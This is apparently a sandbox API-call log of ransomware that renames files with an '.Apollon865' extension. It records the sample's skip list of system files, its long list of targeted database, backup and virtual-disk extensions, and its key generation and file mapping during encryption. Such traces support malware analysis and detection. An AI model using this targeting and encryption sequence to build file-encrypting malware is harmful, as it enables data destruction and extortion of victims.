	[0053.206] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.207] lstrlenW (lpString="rodx") returned 4
	[0053.207] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.207] lstrlenW (lpString="rpd") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.207] lstrlenW (lpString="rsd") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.207] lstrlenW (lpString="sas7bdat") returned 8
	[0053.207] lstrcmpiW (lpString1="utos.url", lpString2="sas7bdat") returned 1
	[0053.207] lstrlenW (lpString="sbf") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.207] lstrlenW (lpString="scx") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.207] lstrlenW (lpString="sdb") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.207] lstrlenW (lpString="sdc") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.207] lstrlenW (lpString="sdf") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.207] lstrlenW (lpString="sis") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.207] lstrlenW (lpString="spq") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.207] lstrlenW (lpString="te") returned 2
	[0053.207] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.207] lstrlenW (lpString="teacher") returned 7
	[0053.207] lstrcmpiW (lpString1="tos.url", lpString2="teacher") returned 1
	[0053.207] lstrlenW (lpString="tmd") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.207] lstrlenW (lpString="tps") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.207] lstrlenW (lpString="trc") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.207] lstrlenW (lpString="trc") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.207] lstrlenW (lpString="trm") returned 3
	[0053.207] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.208] lstrlenW (lpString="udb") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.208] lstrlenW (lpString="udl") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.208] lstrlenW (lpString="usr") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.208] lstrlenW (lpString="v12") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.208] lstrlenW (lpString="vis") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.208] lstrlenW (lpString="vpd") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.208] lstrlenW (lpString="vvv") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.208] lstrlenW (lpString="wdb") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.208] lstrlenW (lpString="wmdb") returned 4
	[0053.208] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.208] lstrlenW (lpString="wrk") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.208] lstrlenW (lpString="xdb") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.208] lstrlenW (lpString="xld") returned 3
	[0053.208] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.208] lstrlenW (lpString="xmlff") returned 5
	[0053.208] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0053.208] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865") returned 64
	[0053.208] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.apollon865"), dwFlags=0x1) returned 1
	[0053.209] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.209] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.209] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.210] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.210] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.210] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154
	[0053.212] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.213] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.214] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.214] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0053.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0053.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.214] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.215] CloseHandle (hObject=0x154) returned 1
	[0053.215] CloseHandle (hObject=0x118) returned 1
	[0053.215] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.215] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.215] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.215] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="..") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="windows") returned -1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="bootmgr") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="temp") returned -1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="pagefile.sys") returned -1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="boot") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ids.txt") returned 1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="ntuser.dat") returned -1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="perflogs") returned -1
	[0053.215] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2="MSBuild") returned 1
	[0053.215] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0053.215] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned 53
	[0053.215] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url"
	[0053.215] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0053.215] lstrlenW (lpString="Apollon865") returned 10
	[0053.215] lstrcmpiW (lpString1="inment.url", lpString2="Apollon865") returned 1
	[0053.215] lstrlenW (lpString=".dll") returned 4
	[0053.216] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".dll") returned 1
	[0053.216] lstrlenW (lpString=".lnk") returned 4
	[0053.216] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".lnk") returned 1
	[0053.216] lstrlenW (lpString=".ini") returned 4
	[0053.216] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".ini") returned 1
	[0053.216] lstrlenW (lpString=".sys") returned 4
	[0053.216] lstrcmpiW (lpString1="MSN Entertainment.url", lpString2=".sys") returned 1
	[0053.216] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0053.216] lstrlenW (lpString="bak") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.216] lstrlenW (lpString="ba_") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.216] lstrlenW (lpString="dbb") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.216] lstrlenW (lpString="vmdk") returned 4
	[0053.216] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.216] lstrlenW (lpString="rar") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.216] lstrlenW (lpString="zip") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.216] lstrlenW (lpString="tgz") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.216] lstrlenW (lpString="vbox") returned 4
	[0053.216] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.216] lstrlenW (lpString="vdi") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.216] lstrlenW (lpString="vhd") returned 3
	[0053.216] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.216] lstrlenW (lpString="vhdx") returned 4
	[0053.216] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.216] lstrlenW (lpString="avhd") returned 4
	[0053.216] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.216] lstrlenW (lpString="db") returned 2
	[0053.216] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.216] lstrlenW (lpString="db2") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.217] lstrlenW (lpString="db3") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.217] lstrlenW (lpString="dbf") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.217] lstrlenW (lpString="mdf") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.217] lstrlenW (lpString="mdb") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.217] lstrlenW (lpString="sql") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.217] lstrlenW (lpString="sqlite") returned 6
	[0053.217] lstrcmpiW (lpString1="nt.url", lpString2="sqlite") returned -1
	[0053.217] lstrlenW (lpString="sqlite3") returned 7
	[0053.217] lstrcmpiW (lpString1="ent.url", lpString2="sqlite3") returned -1
	[0053.217] lstrlenW (lpString="sqlitedb") returned 8
	[0053.217] lstrcmpiW (lpString1="ment.url", lpString2="sqlitedb") returned -1
	[0053.217] lstrlenW (lpString="xml") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.217] lstrlenW (lpString="$er") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.217] lstrlenW (lpString="4dd") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.217] lstrlenW (lpString="4dl") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.217] lstrlenW (lpString="^^^") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.217] lstrlenW (lpString="abs") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.217] lstrlenW (lpString="abx") returned 3
	[0053.217] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.217] lstrlenW (lpString="accdb") returned 5
	[0053.217] lstrcmpiW (lpString1="t.url", lpString2="accdb") returned 1
	[0053.217] lstrlenW (lpString="accdc") returned 5
	[0053.217] lstrcmpiW (lpString1="t.url", lpString2="accdc") returned 1
	[0053.218] lstrlenW (lpString="accde") returned 5
	[0053.218] lstrcmpiW (lpString1="t.url", lpString2="accde") returned 1
	[0053.218] lstrlenW (lpString="accdr") returned 5
	[0053.218] lstrcmpiW (lpString1="t.url", lpString2="accdr") returned 1
	[0053.218] lstrlenW (lpString="accdt") returned 5
	[0053.218] lstrcmpiW (lpString1="t.url", lpString2="accdt") returned 1
	[0053.218] lstrlenW (lpString="accdw") returned 5
	[0053.218] lstrcmpiW (lpString1="t.url", lpString2="accdw") returned 1
	[0053.218] lstrlenW (lpString="accft") returned 5
	[0053.218] lstrcmpiW (lpString1="t.url", lpString2="accft") returned 1
	[0053.218] lstrlenW (lpString="adb") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.218] lstrlenW (lpString="adb") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.218] lstrlenW (lpString="ade") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.218] lstrlenW (lpString="adf") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.218] lstrlenW (lpString="adn") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.218] lstrlenW (lpString="adp") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.218] lstrlenW (lpString="alf") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.218] lstrlenW (lpString="ask") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.218] lstrlenW (lpString="btr") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.218] lstrlenW (lpString="cat") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.218] lstrlenW (lpString="cdb") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.218] lstrlenW (lpString="ckp") returned 3
	[0053.218] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.218] lstrlenW (lpString="cma") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.219] lstrlenW (lpString="cpd") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.219] lstrlenW (lpString="dacpac") returned 6
	[0053.219] lstrcmpiW (lpString1="nt.url", lpString2="dacpac") returned 1
	[0053.219] lstrlenW (lpString="dad") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.219] lstrlenW (lpString="dadiagrams") returned 10
	[0053.219] lstrcmpiW (lpString1="inment.url", lpString2="dadiagrams") returned 1
	[0053.219] lstrlenW (lpString="daschema") returned 8
	[0053.219] lstrcmpiW (lpString1="ment.url", lpString2="daschema") returned 1
	[0053.219] lstrlenW (lpString="db-journal") returned 10
	[0053.219] lstrcmpiW (lpString1="inment.url", lpString2="db-journal") returned 1
	[0053.219] lstrlenW (lpString="db-shm") returned 6
	[0053.219] lstrcmpiW (lpString1="nt.url", lpString2="db-shm") returned 1
	[0053.219] lstrlenW (lpString="db-wal") returned 6
	[0053.219] lstrcmpiW (lpString1="nt.url", lpString2="db-wal") returned 1
	[0053.219] lstrlenW (lpString="dbc") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.219] lstrlenW (lpString="dbs") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.219] lstrlenW (lpString="dbt") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.219] lstrlenW (lpString="dbv") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.219] lstrlenW (lpString="dbx") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.219] lstrlenW (lpString="dcb") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.219] lstrlenW (lpString="dct") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.219] lstrlenW (lpString="dcx") returned 3
	[0053.219] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.219] lstrlenW (lpString="ddl") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.220] lstrlenW (lpString="dlis") returned 4
	[0053.220] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.220] lstrlenW (lpString="dp1") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.220] lstrlenW (lpString="dqy") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.220] lstrlenW (lpString="dsk") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.220] lstrlenW (lpString="dsn") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.220] lstrlenW (lpString="dtsx") returned 4
	[0053.220] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.220] lstrlenW (lpString="dxl") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.220] lstrlenW (lpString="eco") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.220] lstrlenW (lpString="ecx") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.220] lstrlenW (lpString="edb") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.220] lstrlenW (lpString="epim") returned 4
	[0053.220] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.220] lstrlenW (lpString="fcd") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.220] lstrlenW (lpString="fdb") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.220] lstrlenW (lpString="fic") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.220] lstrlenW (lpString="flexolibrary") returned 12
	[0053.220] lstrcmpiW (lpString1="tainment.url", lpString2="flexolibrary") returned 1
	[0053.220] lstrlenW (lpString="fm5") returned 3
	[0053.220] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.220] lstrlenW (lpString="fmp") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.221] lstrlenW (lpString="fmp12") returned 5
	[0053.221] lstrcmpiW (lpString1="t.url", lpString2="fmp12") returned 1
	[0053.221] lstrlenW (lpString="fmpsl") returned 5
	[0053.221] lstrcmpiW (lpString1="t.url", lpString2="fmpsl") returned 1
	[0053.221] lstrlenW (lpString="fol") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.221] lstrlenW (lpString="fp3") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.221] lstrlenW (lpString="fp4") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.221] lstrlenW (lpString="fp5") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.221] lstrlenW (lpString="fp7") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.221] lstrlenW (lpString="fpt") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.221] lstrlenW (lpString="frm") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.221] lstrlenW (lpString="gdb") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.221] lstrlenW (lpString="gdb") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.221] lstrlenW (lpString="grdb") returned 4
	[0053.221] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.221] lstrlenW (lpString="gwi") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.221] lstrlenW (lpString="hdb") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.221] lstrlenW (lpString="his") returned 3
	[0053.221] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.221] lstrlenW (lpString="ib") returned 2
	[0053.221] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.221] lstrlenW (lpString="idb") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.222] lstrlenW (lpString="ihx") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.222] lstrlenW (lpString="itdb") returned 4
	[0053.222] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.222] lstrlenW (lpString="itw") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.222] lstrlenW (lpString="jet") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.222] lstrlenW (lpString="jtx") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.222] lstrlenW (lpString="kdb") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.222] lstrlenW (lpString="kexi") returned 4
	[0053.222] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.222] lstrlenW (lpString="kexic") returned 5
	[0053.222] lstrcmpiW (lpString1="t.url", lpString2="kexic") returned 1
	[0053.222] lstrlenW (lpString="kexis") returned 5
	[0053.222] lstrcmpiW (lpString1="t.url", lpString2="kexis") returned 1
	[0053.222] lstrlenW (lpString="lgc") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.222] lstrlenW (lpString="lwx") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.222] lstrlenW (lpString="maf") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.222] lstrlenW (lpString="maq") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.222] lstrlenW (lpString="mar") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.222] lstrlenW (lpString="marshal") returned 7
	[0053.222] lstrcmpiW (lpString1="ent.url", lpString2="marshal") returned -1
	[0053.222] lstrlenW (lpString="mas") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.222] lstrlenW (lpString="mav") returned 3
	[0053.222] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.223] lstrlenW (lpString="maw") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.223] lstrlenW (lpString="mdbhtml") returned 7
	[0053.223] lstrcmpiW (lpString1="ent.url", lpString2="mdbhtml") returned -1
	[0053.223] lstrlenW (lpString="mdn") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.223] lstrlenW (lpString="mdt") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.223] lstrlenW (lpString="mfd") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.223] lstrlenW (lpString="mpd") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.223] lstrlenW (lpString="mrg") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.223] lstrlenW (lpString="mud") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.223] lstrlenW (lpString="mwb") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.223] lstrlenW (lpString="myd") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.223] lstrlenW (lpString="ndf") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.223] lstrlenW (lpString="nnt") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.223] lstrlenW (lpString="nrmlib") returned 6
	[0053.223] lstrcmpiW (lpString1="nt.url", lpString2="nrmlib") returned 1
	[0053.223] lstrlenW (lpString="ns2") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.223] lstrlenW (lpString="ns3") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.223] lstrlenW (lpString="ns4") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.223] lstrlenW (lpString="nsf") returned 3
	[0053.223] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.223] lstrlenW (lpString="nv") returned 2
	[0053.223] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.224] lstrlenW (lpString="nv2") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.224] lstrlenW (lpString="nwdb") returned 4
	[0053.224] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.224] lstrlenW (lpString="nyf") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.224] lstrlenW (lpString="odb") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.224] lstrlenW (lpString="odb") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.224] lstrlenW (lpString="oqy") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.224] lstrlenW (lpString="ora") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.224] lstrlenW (lpString="orx") returned 3
	[0053.224] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
